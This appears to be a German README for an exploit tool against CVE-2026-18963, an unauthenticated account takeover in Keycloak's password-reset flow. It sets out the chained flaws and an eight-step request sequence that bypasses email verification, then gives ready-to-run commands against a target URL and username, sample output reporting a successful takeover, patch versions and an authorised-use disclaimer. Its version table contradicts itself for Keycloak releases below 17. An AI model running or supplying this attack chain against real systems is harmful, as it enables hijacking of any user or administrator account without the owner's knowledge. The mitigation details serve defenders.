
Exploit für CVE-2026-18963, eine kritische, nicht authentifizierte Kontokompromittierung im reset-credentials-Ablauf von Keycloak, die zwei Schwachstellen miteinander verknüpft, um die E-Mail-Verifizierung zu umgehen und ein neues Passwort zu setzen.
CVSS 9.1 Kritisch · Keycloak 26.0.0 – 26.7.1 · Unauthenticated
Eine kritische Schwachstelle im Reset-Credentials-Ablauf von Keycloak, die es einem nicht authentifizierten Angreifer ermöglicht, jedes Benutzerkonto ohne E-Mail-Verifizierung zu übernehmen, indem zwei Fehler in der Authentifizierungssitzungsverwaltung miteinander verkettet werden.
| Feld | Wert |
|---|
| CVE | CVE-2026-18963 |
| CVSS-Score | 9.1 (Kritisch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — Schwacher Mechanismus zur Passwortwiederherstellung |
| Betroffen | Keycloak 26.0.0 – 26.7.1 |
| Gepatcht | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| Komponente | keycloak-services (Reset-Credentials-Ablauf) |
| Referenz | https://github.com/keycloak/keycloak/issues/51833 |
Zwei Fehler werden miteinander verkettet:
Fehler 1 — Der tryAnotherWay-Handler speichert die Notiz
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" in der Authentifizierungssitzung, ohne sie auf eine Ausführungs-ID zu begrenzen.
Fehler 2 — ResetCredentialEmail.action() ruft context.success() auf (wodurch die E-Mail-Verifizierung vollständig übersprungen wird), wann immer diese Notiz vorhanden ist, ohne ACTION_TOKEN_USER_ID zu prüfen.
1. GET /realms/{realm}/protocol/openid-connect/auth
→ OIDC-Sitzung aufbauen, Forgot-Password-Link extrahieren
2. GET /login-actions/reset-credentials?...
→ Reset-Credentials-Formular laden
3. POST tryAnotherWay=on
→ Setzt die AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED-Notiz (Fehler 1)
4. POST username={target} → Auswahlformular
→ Bindet das Zielbenutzerkonto an die Authentifizierungssitzung, löst E-Mail-Schritt aus
5. GET /login-actions/restart?...
→ Optional: Browser-Sitzungs-Polling spiegeln
6. GET /login-actions/reset-credentials?... (gleiche URL wie Schritt 2)
→ Veraltete Auswahl-Notiz ist noch vorhanden → Auswahlformular erscheint erneut
7. POST username={target} → veraltetes Auswahlformular
→ ResetCredentialEmail sieht die Notiz, ruft context.success() auf (Fehler 2)
→ Ablauf springt direkt zu UPDATE_PASSWORD — keine E-Mail wird gesendet
8. POST password-new={attacker_password}
→ Konto übernommen
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url Basis-URL von Keycloak (erforderlich)
--realm Ziel-Realm (Standard: master)
--username Benutzername oder E-Mail des zu übernehmenden Kontos (erforderlich)
--new-password Passwort, das für das Zielkonto gesetzt werden soll (erforderlich)
--client-id OIDC-Client-ID (Standard: account)
--auth-prefix auto | new | old
auto = automatisch erkennen (Standard)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose Vollständigen HTTP-Trace ausgeben
--skip-version-check
# Alten/neuen Keycloak-URL-Präfix automatisch erkennen
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# Legacy-/auth/-Präfix erzwingen (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# Ausführlicher HTTP-Trace
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Keycloak Unauthenticated Account Takeover
Benutzer : [email protected]
[Schritt 0] Version & Pfad-Präfix erkennen
[+] Pfad-Präfix: '/auth' → erkannt
[?] Version nicht erkannt — wird trotzdem fortgesetzt.
Ziel : https://sso.example.com/auth/realms/myrealm
[Schritt 1] Reset-Credentials-Formular über OIDC-Forgot-Password-Link öffnen
[+] OIDC-Sitzung aufgebaut
[+] Reset-Credentials-Formular geladen
[Schritt 2] POST tryAnotherWay=on → Auswahl-Notiz setzen (Fehler 1)
[+] Auswahlformular empfangen
[Schritt 3] POST username='[email protected]' → Benutzer binden, E-Mail-Schritt auslösen
[+] E-Mail-Schritt ausgelöst — Session-Polling-URL gefunden
[Schritt 4] GET Session-Polling-Pfad (optional)
[Schritt 5] Forgot-Password-URL erneut aufrufen → veraltetes Auswahlformular erhalten
[+] Veraltetes Auswahlformular empfangen
[Schritt 6] POST username an veraltetes Auswahlformular → Bypass auslösen (Fehler 2)
[+] BYPASS ERFOLGREICH — Update-Password-Formular empfangen
[Schritt 7] Neues Passwort setzen
============================================================
[+] ERFOLG — Kontoübernahme abgeschlossen
[+] Ziel : https://sso.example.com/auth/realms/myrealm
[+] Benutzer : [email protected]
[+] Passwort : Pwn3d2026!
============================================================
| Keycloak-Version | URL-Präfix | Verwundbar |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ wenn im 26.x-Bereich |
| ≥ 17.x | /realms/ | ✅ wenn < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | beliebig | ❌ Gepatcht |
Das Skript erkennt automatisch, ob das Ziel den Legacy-/auth/-Präfix oder den modernen Pfad verwendet, sodass es ohne manuelle Konfiguration sowohl gegen alte als auch neue Bereitstellungen funktioniert.
Patch (empfohlen): Upgrade auf eine der behobenen Versionen:
26.4.15 oder später in der 26.4.x-Linie26.6.6 oder später in der 26.6.x-Linie26.7.2 oder später in der 26.7.x-Linie26.8.0 oder späterTemporärer Workaround: Forgot Password in allen Realms deaktivieren:
Realm Settings → Login → Forgot Password → AUS
Dieses Tool dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken. Verwenden Sie es nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.